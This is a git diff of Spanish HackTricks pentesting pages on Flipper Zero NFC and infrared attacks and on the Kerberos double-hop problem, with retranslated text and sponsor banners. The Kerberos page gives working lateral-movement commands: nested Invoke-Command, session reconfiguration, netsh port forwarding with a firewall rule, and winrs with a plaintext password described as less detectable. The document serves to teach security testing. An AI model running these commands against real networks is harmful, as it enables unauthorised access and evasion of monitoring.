Flipper puede interactuar tanto con el protocolo de transmisión ISO 14443 de bajo nivel, como con el protocolo de transferencia de datos Mifare Ultralight y EMV utilizado en tarjetas bancarias. Estamos trabajando en agregar soporte para Mifare Classic y NFC NDEF. Una mirada detallada a los protocolos y estándares que componen NFC vale un artículo separado que planeamos tener más adelante.
|
||||
Flipper puede interactuar tanto con el protocolo de nivel bajo ISO 14443, como con el protocolo de transferencia de datos Mifare Ultralight y EMV utilizado en tarjetas bancarias. Estamos trabajando en agregar soporte para Mifare Classic y NFC NDEF. Un análisis exhaustivo de los protocolos y estándares que componen NFC merece un artículo separado que planeamos publicar más adelante.
|
||||
|
||||
Todas las tarjetas de alta frecuencia basadas en el estándar ISO 14443-A tienen un ID de chip único. Actúa como el número de serie de la tarjeta, como la dirección MAC de una tarjeta de red. **Por lo general, el UID tiene una longitud de 4 o 7 bytes**, pero rara vez puede llegar **hasta 10**. Los UIDs no son un secreto y se pueden leer fácilmente, **a veces incluso impresos en la tarjeta misma**.
|
||||
Todas las tarjetas de alta frecuencia basadas en el estándar ISO 14443-A tienen un ID de chip único. Actúa como el número de serie de la tarjeta, como la dirección MAC de una tarjeta de red. **Por lo general, el UID tiene 4 o 7 bytes de longitud**, pero rara vez puede **llegar hasta 10**. Los UIDs no son un secreto y son fácilmente legibles, **a veces incluso impresos en la propia tarjeta**.
|
||||
|
||||
Hay muchos sistemas de control de acceso que dependen del UID para **autenticar y otorgar acceso**. A veces esto sucede **incluso** cuando las etiquetas RFID **soportan criptografía**. Este **mal uso** las reduce al nivel de las tarjetas **125 kHz** en términos de **seguridad**. Las tarjetas virtuales (como Apple Pay) utilizan un UID dinámico para que los propietarios de teléfonos no abran puertas con su aplicación de pago.
|
||||
Hay muchos sistemas de control de acceso que dependen del UID para **autenticar y otorgar acceso**. A veces esto sucede **incluso** cuando las etiquetas RFID **soportan criptografía**. Tal **mal uso** las reduce al nivel de las **tarjetas de 125 kHz** en términos de **seguridad**. Las tarjetas virtuales (como Apple Pay) utilizan un UID dinámico para que los propietarios de teléfonos no puedan abrir puertas con su aplicación de pago.
|
||||
|
||||
* **Corto alcance** — las tarjetas de alta frecuencia están diseñadas específicamente para que tengan que colocarse cerca del lector. Esto también ayuda a proteger la tarjeta de interacciones no autorizadas. El alcance máximo de lectura que logramos fue de aproximadamente 15 cm, y eso fue con lectores de largo alcance hechos a medida.
|
||||
* **Protocolos avanzados** — velocidades de transferencia de datos de hasta 424 kbps permiten protocolos complejos con transferencia de datos bidireccional completa. Lo que a su vez **permite la criptografía**, transferencia de datos, etc.
|
||||
* **Alta seguridad** — las tarjetas sin contacto de alta frecuencia no son en absoluto inferiores a las tarjetas inteligentes. Hay tarjetas que admiten algoritmos criptográficos fuertes como AES e implementan criptografía asimétrica.
|
||||
* **Bajo alcance** — las tarjetas de alta frecuencia están diseñadas específicamente para que deban ser colocadas cerca del lector. Esto también ayuda a proteger la tarjeta de interacciones no autorizadas. El rango máximo de lectura que logramos alcanzar fue de aproximadamente 15 cm, y eso fue con lectores de alto rango hechos a medida.
|
||||
* **Protocolos avanzados** — las velocidades de transferencia de datos de hasta 424 kbps permiten protocolos complejos con transferencia de datos bidireccional completa. Lo que a su vez **permite criptografía**, transferencia de datos, etc.
|
||||
* **Alta seguridad** — las tarjetas de contacto sin contacto de alta frecuencia no son inferiores a las tarjetas inteligentes. Hay tarjetas que soportan algoritmos criptográficamente fuertes como AES e implementan criptografía asimétrica.
|
||||
|
||||
### Ataque
|
||||
|
||||
|
@ -96,7 +99,7 @@ Puedes **atacar estas etiquetas con el Flipper Zero**:
|
|||
[fz-nfc.md](../todo/radio-hacking/flipper-zero/fz-nfc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
O utilizando el **proxmark**:
|
||||
O usando el **proxmark**:
|
||||
|
||||
{% content-ref url="../todo/radio-hacking/proxmark-3.md" %}
|
||||
[proxmark-3.md](../todo/radio-hacking/proxmark-3.md)
|
||||
|
@ -106,14 +109,17 @@ O utilizando el **proxmark**:
|
|||
|
||||
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,23 @@
|
|||
# FZ - Infrarrojo
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Introducción <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
|
||||
|
||||
Para obtener más información sobre cómo funciona el infrarrojo, consulta:
|
||||
Para más información sobre cómo funciona el infrarrojo, consulta:
|
||||
|
||||
{% content-ref url="../infrared.md" %}
|
||||
[infrared.md](../infrared.md)
|
||||
|
@ -22,27 +25,42 @@ Para obtener más información sobre cómo funciona el infrarrojo, consulta:
|
|||
|
||||
## Receptor de Señal IR en Flipper Zero <a href="#ir-signal-receiver-in-flipper-zero" id="ir-signal-receiver-in-flipper-zero"></a>
|
||||
|
||||
Flipper utiliza un receptor de señal IR digital TSOP, que **permite interceptar señales de controles remotos IR**. Algunos **teléfonos inteligentes** como Xiaomi, también tienen un puerto IR, pero ten en cuenta que **la mayoría de ellos solo pueden transmitir** señales y son **incapaces de recibirlas**.
|
||||
Flipper utiliza un receptor de señal IR digital TSOP, que **permite interceptar señales de controles remotos IR**. Hay algunos **smartphones** como Xiaomi, que también tienen un puerto IR, pero ten en cuenta que **la mayoría de ellos solo pueden transmitir** señales y son **incapaces de recibir**.
|
||||
|
||||
El receptor infrarrojo de Flipper es bastante sensible. Incluso puedes **captar la señal** estando **en algún lugar intermedio** entre el control remoto y el televisor. No es necesario apuntar directamente el control remoto al puerto IR de Flipper. Esto es útil cuando alguien está cambiando de canal mientras está cerca del televisor, y tanto tú como Flipper están a cierta distancia.
|
||||
El receptor infrarrojo de Flipper **es bastante sensible**. Incluso puedes **captar la señal** mientras te mantienes **en algún lugar entre** el control remoto y la TV. No es necesario apuntar el control remoto directamente al puerto IR de Flipper. Esto es útil cuando alguien está cambiando de canal mientras está cerca de la TV, y tanto tú como Flipper están a cierta distancia.
|
||||
|
||||
Dado que la **decodificación de la señal infrarroja** ocurre en el **lado del software**, Flipper Zero potencialmente admite la **recepción y transmisión de cualquier código de control remoto IR**. En el caso de **protocolos desconocidos** que no se pueden reconocer, **registra y reproduce** la señal cruda exactamente como se recibió.
|
||||
Como la **decodificación de la señal infrarroja** ocurre del lado del **software**, Flipper Zero potencialmente soporta la **recepción y transmisión de cualquier código de control remoto IR**. En el caso de protocolos **desconocidos** que no se pueden reconocer, **graba y reproduce** la señal en bruto exactamente como se recibió.
|
||||
|
||||
## Acciones
|
||||
|
||||
### Controles Remotos Universales
|
||||
|
||||
Flipper Zero se puede utilizar como un **control remoto universal para controlar cualquier televisor, aire acondicionado o centro multimedia**. En este modo, Flipper **realiza un ataque de fuerza bruta** con todos los **códigos conocidos** de todos los fabricantes admitidos **según el diccionario de la tarjeta SD**. No es necesario elegir un control remoto en particular para apagar un televisor de un restaurante.
|
||||
Flipper Zero puede ser utilizado como un **control remoto universal para controlar cualquier TV, aire acondicionado o centro de medios**. En este modo, Flipper **fuerza por prueba** todos los **códigos conocidos** de todos los fabricantes soportados **de acuerdo con el diccionario de la tarjeta SD**. No necesitas elegir un control remoto particular para apagar la TV de un restaurante.
|
||||
|
||||
Basta con presionar el botón de encendido en el modo de Control Remoto Universal, y Flipper **enviará secuencialmente comandos de "Apagar"** de todos los televisores que conoce: Sony, Samsung, Panasonic... y así sucesivamente. Cuando el televisor recibe su señal, reaccionará y se apagará.
|
||||
Es suficiente con presionar el botón de encendido en el modo de Control Remoto Universal, y Flipper **enviará secuencialmente los comandos "Apagar"** de todas las TVs que conoce: Sony, Samsung, Panasonic... y así sucesivamente. Cuando la TV recibe su señal, reaccionará y se apagará.
|
||||
|
||||
Este ataque de fuerza bruta lleva tiempo. Cuanto más grande sea el diccionario, más tiempo tardará en finalizar. Es imposible saber qué señal reconoció exactamente el televisor, ya que no hay retroalimentación del televisor.
|
||||
Tal fuerza bruta toma tiempo. Cuanto más grande sea el diccionario, más tiempo tomará terminar. Es imposible averiguar qué señal exactamente reconoció la TV ya que no hay retroalimentación de la TV.
|
||||
|
||||
### Aprender un Nuevo Control Remoto
|
||||
### Aprender Nuevo Control Remoto
|
||||
|
||||
Es posible **capturar una señal infrarroja** con Flipper Zero. Si **encuentra la señal en la base de datos**, Flipper automáticamente **sabrá qué dispositivo es** y te permitirá interactuar con él.\
|
||||
Si no la encuentra, Flipper puede **almacenar** la **señal** y te permitirá **reproducirla**.
|
||||
Es posible **capturar una señal infrarroja** con Flipper Zero. Si **encuentra la señal en la base de datos**, Flipper automáticamente **sabrà qué dispositivo es** y te permitirá interactuar con él.\
|
||||
Si no lo encuentra, Flipper puede **almacenar** la **señal** y te permitirá **reproducirla**.
|
||||
|
||||
## Referencias
|
||||
|
||||
* [https://blog.flipperzero.one/infrared/](https://blog.flipperzero.one/infrared/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,46 +1,50 @@
|
|||
# Problema de Doble Salto de Kerberos
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red de HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord**](https://discord.gg/hRep4RUj7f) o al **grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Introducción
|
||||
|
||||
El problema de "Doble Salto" de Kerberos ocurre cuando un atacante intenta utilizar la autenticación de **Kerberos a través de dos** **saltos**, por ejemplo, utilizando **PowerShell**/**WinRM**.
|
||||
El problema de "Doble Salto" de Kerberos aparece cuando un atacante intenta usar **autenticación Kerberos a través de dos** **saltos**, por ejemplo usando **PowerShell**/**WinRM**.
|
||||
|
||||
Cuando ocurre una **autenticación** a través de **Kerberos**, las **credenciales** **no** se almacenan en la **memoria**. Por lo tanto, si ejecutas mimikatz, **no encontrarás las credenciales** del usuario en la máquina aunque esté ejecutando procesos.
|
||||
Cuando ocurre una **autenticación** a través de **Kerberos**, las **credenciales** **no** se almacenan en **memoria.** Por lo tanto, si ejecutas mimikatz **no encontrarás credenciales** del usuario en la máquina, incluso si está ejecutando procesos.
|
||||
|
||||
Esto se debe a que al conectarse con Kerberos, estos son los pasos:
|
||||
Esto se debe a que al conectarse con Kerberos estos son los pasos:
|
||||
|
||||
1. El Usuario1 proporciona credenciales y el **controlador de dominio** devuelve un **TGT** de Kerberos al Usuario1.
|
||||
2. El Usuario1 utiliza el **TGT** para solicitar un **ticket de servicio** para **conectarse** al Servidor1.
|
||||
3. El Usuario1 **se conecta** al **Servidor1** y proporciona el **ticket de servicio**.
|
||||
4. El **Servidor1** **no** tiene las **credenciales** de Usuario1 en caché ni el **TGT** de Usuario1. Por lo tanto, cuando Usuario1 desde Servidor1 intenta iniciar sesión en un segundo servidor, no puede **autenticarse**.
|
||||
1. User1 proporciona credenciales y el **controlador de dominio** devuelve un **TGT** de Kerberos a User1.
|
||||
2. User1 usa el **TGT** para solicitar un **ticket de servicio** para **conectarse** a Server1.
|
||||
3. User1 **se conecta** a **Server1** y proporciona el **ticket de servicio**.
|
||||
4. **Server1** **no** tiene las **credenciales** de User1 almacenadas o el **TGT** de User1. Por lo tanto, cuando User1 desde Server1 intenta iniciar sesión en un segundo servidor, **no puede autenticarse**.
|
||||
|
||||
### Delegación no restringida
|
||||
### Delegación No Restringida
|
||||
|
||||
Si la **delegación no restringida** está habilitada en la PC, esto no sucederá ya que el **Servidor** obtendrá un **TGT** de cada usuario que acceda a él. Además, si se utiliza la delegación no restringida, probablemente se pueda **comprometer el Controlador de Dominio** desde allí.\
|
||||
[Más información en la página de delegación no restringida](unconstrained-delegation.md).
|
||||
Si la **delegación no restringida** está habilitada en la PC, esto no sucederá ya que el **Servidor** **obtendrá** un **TGT** de cada usuario que acceda a él. Además, si se utiliza la delegación no restringida, probablemente puedas **comprometer el Controlador de Dominio** desde él.\
|
||||
[**Más información en la página de delegación no restringida**](unconstrained-delegation.md).
|
||||
|
||||
### CredSSP
|
||||
|
||||
Otra forma de evitar este problema, que es [**notablemente insegura**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7), es el **Proveedor de Soporte de Seguridad de Credenciales**. Según Microsoft:
|
||||
Otra forma de evitar este problema que es [**notablemente insegura**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) es el **Proveedor de Soporte de Seguridad de Credenciales**. De Microsoft:
|
||||
|
||||
> La autenticación de CredSSP delega las credenciales de usuario de la computadora local a una computadora remota. Esta práctica aumenta el riesgo de seguridad de la operación remota. Si la computadora remota se ve comprometida, cuando se pasan las credenciales a ella, las credenciales se pueden utilizar para controlar la sesión de red.
|
||||
> La autenticación CredSSP delega las credenciales del usuario desde la computadora local a una computadora remota. Esta práctica aumenta el riesgo de seguridad de la operación remota. Si la computadora remota es comprometida, cuando se le pasan las credenciales, estas pueden ser utilizadas para controlar la sesión de red.
|
||||
|
||||
Se recomienda encarecidamente que **CredSSP** esté deshabilitado en sistemas de producción, redes sensibles y entornos similares debido a preocupaciones de seguridad. Para determinar si **CredSSP** está habilitado, se puede ejecutar el comando `Get-WSManCredSSP`. Este comando permite **verificar el estado de CredSSP** e incluso puede ejecutarse de forma remota, siempre que **WinRM** esté habilitado.
|
||||
Se recomienda encarecidamente que **CredSSP** esté deshabilitado en sistemas de producción, redes sensibles y entornos similares debido a preocupaciones de seguridad. Para determinar si **CredSSP** está habilitado, se puede ejecutar el comando `Get-WSManCredSSP`. Este comando permite la **verificación del estado de CredSSP** y puede incluso ser ejecutado de forma remota, siempre que **WinRM** esté habilitado.
|
||||
```powershell
|
||||
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
|
||||
Get-WSManCredSSP
|
||||
|
@ -48,50 +52,50 @@ Get-WSManCredSSP
|
|||
```
|
||||
## Soluciones alternativas
|
||||
|
||||
### Invocar Comando
|
||||
### Invoke Command
|
||||
|
||||
Para abordar el problema del doble salto, se presenta un método que implica un `Invoke-Command` anidado. Esto no resuelve el problema directamente, pero ofrece una solución alternativa sin necesidad de configuraciones especiales. El enfoque permite ejecutar un comando (`hostname`) en un servidor secundario a través de un comando PowerShell ejecutado desde una máquina atacante inicial o a través de una sesión de PS previamente establecida con el primer servidor. Así es como se hace:
|
||||
Para abordar el problema del doble salto, se presenta un método que involucra un `Invoke-Command` anidado. Esto no resuelve el problema directamente, pero ofrece una solución alternativa sin necesidad de configuraciones especiales. El enfoque permite ejecutar un comando (`hostname`) en un servidor secundario a través de un comando de PowerShell ejecutado desde una máquina atacante inicial o a través de una PS-Session previamente establecida con el primer servidor. Así es como se hace:
|
||||
```powershell
|
||||
$cred = Get-Credential ta\redsuit
|
||||
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
|
||||
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
|
||||
}
|
||||
```
|
||||
Alternativamente, se sugiere establecer una sesión de PS con el primer servidor y ejecutar el `Invoke-Command` usando `$cred` para centralizar tareas.
|
||||
Alternativamente, se sugiere establecer una PS-Session con el primer servidor y ejecutar el `Invoke-Command` utilizando `$cred` para centralizar tareas.
|
||||
|
||||
### Registrar la Configuración de la Sesión de PS
|
||||
### Registrar la Configuración de PSSession
|
||||
|
||||
Una solución para evitar el problema de doble salto implica usar `Register-PSSessionConfiguration` con `Enter-PSSession`. Este método requiere un enfoque diferente al de `evil-winrm` y permite una sesión que no sufre la limitación del doble salto.
|
||||
Una solución para eludir el problema del doble salto implica usar `Register-PSSessionConfiguration` con `Enter-PSSession`. Este método requiere un enfoque diferente al de `evil-winrm` y permite una sesión que no sufre de la limitación del doble salto.
|
||||
```powershell
|
||||
Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
|
||||
Restart-Service WinRM
|
||||
Enter-PSSession -ConfigurationName doublehopsess -ComputerName <pc_name> -Credential domain_name\username
|
||||
klist
|
||||
```
|
||||
### Reenvío de Puertos
|
||||
### PortForwarding
|
||||
|
||||
Para los administradores locales en un objetivo intermedio, el reenvío de puertos permite enviar solicitudes a un servidor final. Utilizando `netsh`, se puede agregar una regla para el reenvío de puertos, junto con una regla del firewall de Windows para permitir el puerto reenviado.
|
||||
Para los administradores locales en un objetivo intermedio, el reenvío de puertos permite que las solicitudes se envíen a un servidor final. Usando `netsh`, se puede agregar una regla para el reenvío de puertos, junto con una regla de firewall de Windows para permitir el puerto reenviado.
|
||||
```bash
|
||||
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
|
||||
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
|
||||
```
|
||||
#### winrs.exe
|
||||
|
||||
`winrs.exe` se puede utilizar para reenviar solicitudes de WinRM, potencialmente como una opción menos detectable si la supervisión de PowerShell es una preocupación. El siguiente comando demuestra su uso:
|
||||
`winrs.exe` se puede utilizar para reenviar solicitudes de WinRM, potencialmente como una opción menos detectable si la monitorización de PowerShell es una preocupación. El comando a continuación demuestra su uso:
|
||||
```bash
|
||||
winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
|
||||
```
|
||||
### OpenSSH
|
||||
|
||||
La instalación de OpenSSH en el primer servidor habilita una solución alternativa para el problema del doble salto, particularmente útil para escenarios de caja de salto. Este método requiere la instalación de CLI y la configuración de OpenSSH para Windows. Cuando se configura para la Autenticación de Contraseña, esto permite que el servidor intermedio obtenga un TGT en nombre del usuario.
|
||||
Instalar OpenSSH en el primer servidor permite una solución para el problema de doble salto, particularmente útil para escenarios de jump box. Este método requiere la instalación y configuración de OpenSSH para Windows a través de la CLI. Cuando se configura para la Autenticación por Contraseña, esto permite que el servidor intermedio obtenga un TGT en nombre del usuario.
|
||||
|
||||
#### Pasos de Instalación de OpenSSH
|
||||
|
||||
1. Descargar y mover el archivo zip de la última versión de OpenSSH al servidor de destino.
|
||||
2. Descomprimir y ejecutar el script `Install-sshd.ps1`.
|
||||
3. Agregar una regla de firewall para abrir el puerto 22 y verificar que los servicios de SSH estén en ejecución.
|
||||
1. Descargue y mueva el último archivo zip de OpenSSH al servidor de destino.
|
||||
2. Descomprima y ejecute el script `Install-sshd.ps1`.
|
||||
3. Agregue una regla de firewall para abrir el puerto 22 y verifique que los servicios SSH estén en funcionamiento.
|
||||
|
||||
Para resolver errores de `Conexión restablecida`, es posible que sea necesario actualizar los permisos para permitir que todos tengan acceso de lectura y ejecución en el directorio de OpenSSH.
|
||||
Para resolver errores de `Connection reset`, es posible que sea necesario actualizar los permisos para permitir que todos tengan acceso de lectura y ejecución en el directorio de OpenSSH.
|
||||
```bash
|
||||
icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
|
||||
```
|
||||
|
@ -106,14 +110,17 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
